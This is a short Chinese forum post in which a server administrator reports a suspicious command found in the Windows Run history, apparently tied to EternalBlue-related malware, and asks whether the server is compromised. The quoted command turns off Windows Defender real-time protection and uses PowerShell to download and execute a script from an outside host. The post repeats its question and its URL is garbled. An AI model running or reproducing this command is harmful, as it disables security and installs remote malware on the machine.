今天例行维护服务器,偶然间点开“运行”,发现有1条历史指令很可疑,内容如下:我尝试访问结果nod32直接给我拦截了,我一百度,才发现是永恒之蓝相关的东西。
这里请教,是不是服务器已经被搞了?
cmd /c powershell set-mppreference -disable realtimemonitoring 1;add-mppreference -exclusionprocess xxx powershell iexnew-object net.webclient.downloadstring'http//t.amynx.com/rdp.jsp'http//t.amynx.com/rdp.jsp这里请教,是不是服务器已经被搞了?







